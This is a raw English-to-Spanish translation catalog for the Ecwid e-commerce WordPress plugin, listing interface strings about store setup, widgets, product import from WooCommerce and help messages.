site.�Wholesale prices�You can add product search box, cart widget and more on the <a href="%s">"Appearance / Widgets page"</a> here in your site admin. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">More details.</a>�You can add the entire storefront, categories, products, or "Buy now" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block.�You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open "Appearance > Menus" in your WordPress control panel and add the "Store with Categories Menu" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site.�You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">More details.</a>�You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel.�You can display your store on the site main page. Adjust the "Reading" settings of your site as described in our <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">Help Center.</a>�You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href="%1$s">Appearance → Customize → %2$s</a>†menu to enable it.�You can enable filters in the store settings: (“<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Settings → Product Filters</a>â€).�You can send a new request here.�You have not viewed any product yet. Open store.�You will be able to sign up through your existing Google, Facebook or PayPal profiles as well.�Your %s store has �Your %s store is connected<br /> to your WordPress website�Your %s store is now connected<br /> to your WordPress website�Your Storefront�Your WooCommerce store has �Your email has been sent�Your product�Your store Control Panel. Right here in WordPress.�Your store has been created. Preparing your store dashboard ...�Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar.�Your store is almost ready!�Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display.�Your store page�Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders.�Your store page is published. Customers can browse your store at �Your store will be shown here�Your store will be shown here!�Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data.�[%s] WordPress plugin deactivation feedback (store ID: %s)�customize appearance�gutenberg-product-blockContent�gutenberg-store-block-stubStore�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�or <a %s>Browse the Help Center�product-browser-attributesProduct SKU�product-browser-attributesProduct price�select product�selected product�vc-tabOnline store�«Buy now» button�PO-Revision-Date: 2020-10-12 12:46 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 2.4.1 Language: es Project-Id-Version: temporary-strings X-Crowdin-Project: temporary-strings X-Crowdin-Project-ID: 295314 X-Crowdin-Language: es-ES X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po X-Crowdin-File-ID: 988 Language-Team: Spanish Last-Translator: � Elegir otro producto� ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve.�Etiqueta de productos «En existencia»�%s�Blog de %s�Carrito de compras de %s�Tienda de %s�Página de la tienda de %s�El complemento %s no funciona bien con mi tema «%s»�%s producto�%s productos�%s productos y %s categorías�%s productos y categorías�Configuraciones del carrito de compras de %s�%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web.�%s — Configuración avanzada�(podrá confirmar los cambios antes de la importación definitiva)�2 columnas, imagen a la izquierda�2 columnas, imagen a la derecha�3 columnas, imagen a la izquierda�3 columnas, imagen a la derecha�<a %s>Tienda en línea con tecnología de %s</a>�<a %s>Volver a conectar</a>�<a href="admin.php?page=�<b>%s</b> categorías�Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos».�Acción requerida: conecte su cuenta de %s�Añadir producto�Añadir tienda�Añadir la página de la tienda al menú�Añadir una página de categoría�Añadir página de productos�Añadir una página de búsqueda y filtros�Añadir una página de tienda�Añadir una tienda en línea a su sitio web�Añadir borde�Añadir carrito y página de pago�Añadir categorías�Añadir la página de la tienda al menú del sitio web�Añadir escaparate virtual (listado de productos)�Añadir al menú�Añada su tienda de %s al sitio web y comience a vender en minutos.�Añada su tienda a otras páginas del sitio web�Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href="%s" target="_blank">Configuración de WordPress > Lectura</a>.�Páginas adicionales de la tienda�Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>.�Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito.�Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito.�Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web.�Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda.�Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda.�Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio.�Etiqueta de administrador�Avanzado�Configuraciones avanzadas�Después de la importación, su tienda de %s tendrá �Todos los canales de venta�Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda.�Apariencia�Aplicaciones�Cantidad disponible en existencia�Regresar a la configuración de la tienda�Color del fondo�Bolsa�Cesta�Antes de que se vaya�Borde�Borde:�Abajo a la izquierda�Abajo a la derecha�Migas de pan�Explorar todos los productos.�Buscar por categoría�Importar en masa productos y categorías a su tienda de %s�Color del botón�Comprar ahora�Botón «Comprar ahora»�Botones de «Comprar ahora»�Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>.�Clase CSS�ID de CSS�¿Podría compartir el nombre del complemento que ha elegido?�¿Podría compartir su opinión? ¿Qué fue lo que pasó?�Cancelar�Carrito�Carrito y pago�Icono del carrito de compras�Icono del carrito:�Catálogo�Categorías�Categoría�Apariencia de la lista de categorías�Diseño de la ficha de categoría�Categoría mostrada por defecto�Relación de aspecto de la miniatura de la categoría�Tamaño de la miniatura de la categoría�Centrado�Centrar la alineación en una página�Cambiar�Cambiar el contenido de la tienda�Elegir producto�Elegir producto�Elija las propiedades del producto para mostrarlas en el «widget»�Elegir la página principal de la tienda�Elija los «widgets» a mostrar�Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos�Configuración de colores�Completar configuración�Complete la configuración y comience a vender�Configuración�¡Enhorabuena!�Conectar�Conecte su tienda�Conecte su tienda de %s�Conecte su tienda�Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo.�Ponerse en contacto con la asistencia�Póngase en contacto con nosotros�Contenido�Copia de productos y categorías.�Crear página del carrito�Crear página de categorías�Crear página de productos�Crear página de búsqueda�Crear tienda�Crear la página de la tienda�Cree una página de aterrizaje con uno de sus productos.�Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito.�Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web.�Crear una nueva cuenta�Crear tienda�Página actual�«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>�Inicio de sesión único del cliente�Clientes�Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes.�Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago.�Personalizar el diseño�Personalizar la apariencia de la tienda�Personalizar la dirección de la página de la tienda�Personalizar «widget»�Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca.�Gris cian azulado�Panel�Categoría predeterminada�ID de categoría predeterminada�ID del producto predeterminado�Modo de vista predeterminado en las páginas de productos�Modo de vista predeterminado en los resultados de búsqueda�Productos eliminados sincronizados: %1$s de %2$s�Tienda de demostración�Tienda de demostración�Diseño�Diseño y contenido�Detectar automáticamente�Desconectar tienda�Mostrar un botón de compra�Mostrar migas de pan�Mostrar icono del carrito�Mostrar el menú de categorías�Mostrar la barra de navegación de las categorías�Mostrar la página de categorías�Mostrar el menú del pie de página�Mostrar la página de productos con la descripción y un botón de compra�Mostrar el producto con un botón de compra�Mostrar el cuadro de búsqueda�Mostrar página de búsqueda con los filtros a un lado�Mostrar enlace y resumen de la bolsa de compras�Mostrar el carrito de compras�Mostrar el carrito de compras y la página de pago�Mostrar el enlace de inicio de sesión�Mostrar «ordenar por enlace»�Muestre el icono del carrito de compras en las páginas del sitio web�Producto mostrado�Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web.�Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda.�Muestra una lista de productos aleatorios.�Muestra un producto aleatorio de su tienda para atraer la atención del cliente.�Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda.�Muestra el escaparate virtual: listado de productos y pago�Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas.�No mostrar�¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid.�¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress.�Hecho�Descargar <a href="%s">registro de importación</a>�Descargar archivo de registro�Borrador�Por ejemplo, cómo establecer el envío�Distintivo de Ecwid�Comercio electrónico Ecwid�Carrito de compras del comercio electrónico de Ecwid�Elemento del menú de Ecwid�Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid�«Widget» de comercio electrónico de Ecwid�Solución de comercio electrónico de Ecwid�Carrito de compras gratuito de Ecwid�Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">Más detalles.</a>�Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos.�Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href="%s">temas de TemplateMonster</a>.�Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">Más detalles.</a>�Carrito de compras de Ecwid�«Widget» de carrito de compras de Ecwid�Editar�Editar apariencia�Editar categoría�Editar producto�Editar tienda�Editar «slug» de la dirección URL�Editar página�Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web.�Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio.�Introduzca el ID de su tienda�Introduzca el ID de su tienda aquí:�Extensiones para su tienda�Destacar una categoría de la tienda específica en una página separada de su sitio web.�Destaque sus productos en la barra lateral�Filtros�Posición del panel de filtros�Encuentre el ID de su tienda�Primera página�Preguntas frecuentes�Descargue la aplicación móvil de %s�Ir a «Páginas»�Ir a sus productos de %s�¡Saludos!�¡Enhorabuena! Su complemento de %s ya está activo.�Cuadrícula�Vista de cuadrícula�Ayuda�Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales.�Ayude a los clientes a encontrar su tienda en el sitio web.�Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos.�Aquí puede crear el contenido que se utilizará dentro del módulo.�Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes.�Ocultar�Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas.�Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web.�Sangría horizontal�Miniaturas horizontales�¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?�¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?�¿Cómo podemos ayudarle?�¿Cómo puedo añadir categorías de tiendas al menú del sitio web?�¿Cómo pongo mis productos en el mapa del sitio?�¿Cuánto cuesta Ecwid?�¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?�¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?�¿Cómo crear una tienda en Facebook con Ecwid?�Ya tengo una cuenta, iniciar sesión�No pude encontrar un tema de WordPress adecuado para %s�Encontré un mejor complemento�Tengo un problema con el uso de este complemento�Tengo un problema con mi tienda de %s�Utilizo este tema de WordPress: %s�Icono�Icono y total de artículos�Icono, etiqueta y total de artículos�Icono, etiqueta, total de artículos y subtotal�Icono, etiqueta, total de artículos, subtotal y enlace�Si tiene un momento, háganos saber por qué está desactivando:�Imagen y título al pasar el ratón por encima�Canal de imagen�Diseño de la galería de imágenes�Solo imagen�Importar�Importe sus productos de Woocommerce a %s�Importación completada�Importación completada. <a href="%s">Ejecútela de nuevo.</a>�La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes.�La importación está en progreso�Importar mis productos de WooCommerce�Importar el catálogo de productos de WooCommerce�Importar el catálogo de productos de otras fuentes�Importe los productos a su tienda de %s�Resumen de la importación�Importe su catálogo de WooCommerce a %s�Importe sus productos de WooCommerce a %s�Importe sus productos de Woocommerce a %s�<b>%s</b> productos importados�Importando %s de %s artículos�Insertar�Insertar en la página�Sitio web instantáneo�Integración con la búsqueda en su sitio web�¿Es posible mostrar mi tienda en la página de inicio del sitio web?�¿Existe algún tema de WordPress para Ecwid?�Es una desactivación temporal. No preguntarme de nuevo.�Solo el total de artículos�Justificado�Base de conocimiento�G�Etiqueta y y total de artículos�Horizontal 3:2�Horizontal 4:3�Última página�Última actualización�Últimos productos�Diseño�Diseño:�Más información�Izquierda�Cian verde claro�Color del enlace�Producto vinculado�Lista�Vista de lista�Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL.�Ãmbar vívido y brillante�Naranja vívido y brillante�M�Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente.�Gestionar la barra lateral�Gestione la tienda desde iPhone, iPad o Android�Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página.�Gestionar la tienda�Gestionar escaparate virtual�Mercadotecnia�Móvil�Mi cuenta�Mi perfil�Mis ventas�Nombre�Navegación�¿Necesita ayuda para importar sus productos de WooCommerce a %s?�Nunca mostrar este mensaje otra vez�Página siguiente�Página siguiente�No, gracias�Sin borde�No se ha sincronizado todavía�Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen�No se ha encontrado nada en relación con <span class="empty-page__term">«{{ data.term }}»</span>�Número de categorías por fila�Número de productos por página�Número de productos para mostrar�A la izquierda�A la derecha�Tienda en línea�Aplicaciones de la tienda en línea�Tienda en línea�Abrir el panel de control�Abrir el panel de la tienda�Opciones�Pedidos�Otro�Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target="_blank" href="%s">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales.�Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">nuestro equipo de atención al cliente</a>.�Ya existe una página con ese nombre.�Azul cian pálido�Rosa pálido�Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>�Pago�Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes.�Elegir una categoría�Elegir un producto�Imagen�Píldora�Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target="_blank">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid.�Suscríbase a un plan de pago para obtener esta función.�Complementos para Ecwid�Vertical 2:3�Vertical 3:4�Posición�Vista previa�Página anterior�Precio�Color del precio�Producto�Ficha de producto ampliada�Ficha de producto reducida�Apariencia de la lista de productos�Apariencia de la página del producto�REF del producto�Búsqueda de productos�Cuadro de búsqueda de productos�Búsqueda de productos y filtros�El texto de la ficha del producto se alinea�El catálogo de productos se mostrará automáticamente�Diseño de la página de productos�Precio del producto�Cantidad de productos�Contenido de la barra lateral de productos�Relación de aspecto de la miniatura del producto�Tamaño de la miniatura del producto�Título del producto�Productos�Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas.�Productos eliminados sincronizados: %1$s de %2$s�Promocione su tienda�Otorgar acceso.�Proporcionado por <a %s>%s</a>�Publicar�Publicar la página de la tienda�Publique la página para poder utilizar esta opción�Publicada�Cantidad�¿Tiene alguna pregunta?�Producto aleatorio�Productos aleatorios�Tasa de %s en WordPress.org�Vuélvase a conectar para activar el panel de control�Productos vistos recientemente�Recomendaciones para su tienda en línea�Rectángulo�Actualizar la lista de categorías�Registrarse en %s�Informar un problema con la tienda�Informes�Derecha�P�REF�Ventas�Canales de venta�Guardar�Guarde y conecte su tienda de %s al sitio web�Guardar cambios�Buscar�Búsqueda y filtros�Buscar productos�Buscar en la base de conocimientos�Ver más�Seleccionar todo�Seleccionar categoría�Producto seleccionado�Categoría seleccionada�Vender en Facebook�Enviar mensaje�Envíe un mensaje a nuestro equipo de asistencia�Ocurrió un error al enviar el mensaje�Configure su tienda�Configurar manualmente�Configure su tienda�Configuraciones�Configuración�Envío y recogida�Tienda�Carrito de compras�Carrito de compras (descontinuado)�Carrito de compras flotante (descontinuado)�Icono del carrito de compras�Carrito de compras en miniatura (descontinuado)�«Widget» del carrito de compras�Mostrar�Mostrar imagen adicional al pasar el ratón�Mostrar categorías�Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida.�Mostrar descripción debajo de la imagen�Mostrar minicarrito�Mostrar en todas las páginas�Mostrar al pasar el ratón�Mostrar en las páginas de la tienda�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el borde de la ficha del producto�Mostrar miniaturas de los productos�Mostrar búsqueda�Mostrar cuando esté vacío�Muestre su tienda en la página de inicio�El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente.�Icono pequeño�Icono pequeño y total de artículos�Algunos de los artículos no se pudieron importar.�Le pido disculpas por las dificultades técnicas que estamos experimentando.�Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>.�Cuadrado 1:1�Iniciar la importación�Estado�Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda.�¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!�Tienda�Categorías de la tienda�Menú de categorías de la tienda�Página de categorías de la tienda�Página del escaparate virtual�Página de inicio de la tienda�ID de la tienda�El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro.�El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>.�Título del enlace de la tienda�Navegación en la tienda�Página de la tienda�Enlace a la página de la tienda�Categorías raíz de la tienda�Apariencia de la tienda�Elementos de la tienda�Gestión de la tienda�Contenido de la página de la tienda�Página de la tienda en su sitio web�Categoría raíz de la tienda�Tienda con menú de categorías�Escaparate virtual�Asunto�Enviar y desactivar�Cambiar al borrador�Sincronizar productos�Tabla�Vista de tabla�Siga unos sencillos pasos para completar la configuración de la tienda�Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda.�Texto�Color del texto�Gracias por elegir %s para construir su tienda en línea�El bloque está oculto porque no tiene categorías en su tienda. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Añadir categorías.</a>�La categoría que se muestra de forma predeterminada en la página del escaparate virtual�El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos.�El complemento no es compatible con la función que quiero�El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href="%s" target="_blank">ajustar la apariencia del icono del carrito</a>.�La tienda no es visible en su sitio web�Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable�Temas para Ecwid�Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s.�Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí.�Esto cambiará la etiqueta del módulo en el creador para una fácil identificación.�Título�Título en la imagen�Solo título�Título o REF�Título debajo de la imagen�Título:�Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración.�Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>.�Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>�A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto».�Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> o <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target="_blank" href="https://www.ecwid.com/pricing">usuarios de pago de Ecwid</a>.�Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso.�Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda.�Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">Cómo utilizarlo</a>�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>�Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>�Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso.�Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva.�Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual.�Arriba a la izquierda�Arriba a la derecha�Intente otra búsqueda.�Escriba su mensaje aquí�«Slug» de la dirección URL�Actualizar�Actualice su catálogo�Actualice para obtener esta función�Sangría vertical�Miniaturas verticales�Gris oscuro�Gris claro�Ver la página de la tienda�Ver la página de la tienda de demostración�Ver la página de la tienda�Visitar escaparate virtual�Azul cian vívido�Cian verde vívido�Rojo vívido�¿Desea conectar otra tienda de %s?�Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo.�Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?�Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará.�Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página.�Sitio web�¿Qué función necesita?�¿Qué fue lo que pasó?�¿Qué sigue?�Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web.�Precios al por mayor�Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href="%s">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">Más detalles.</a>�Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado.�Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web.�Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">Más detalles.</a>�Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda.�Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">centro de asistencia.</a>�Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href="%1$s">Apariencia → Personalizar → %2$s</a>» para habilitarlo.�Puede habilitar los filtros en la configuración de la tienda: («<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Configuración → Filtros para los productos</a>»).�Puede enviar una nueva solicitud aquí.�Aún no ha visto ningún producto. Abra la tienda.�También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal.�Su tienda de %s tiene �Su tienda de %s está conectada<br /> a su sitio web de WordPress�Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress�Su escaparate virtual�Su tienda de WooCommerce tiene �Se ha enviado su correo electrónico�Su producto�Panel de control de su tienda. Aquí mismo en WordPress.�Se ha creado su tienda. Preparando el panel de su tienda...�Su tienda se añade a varias páginas del 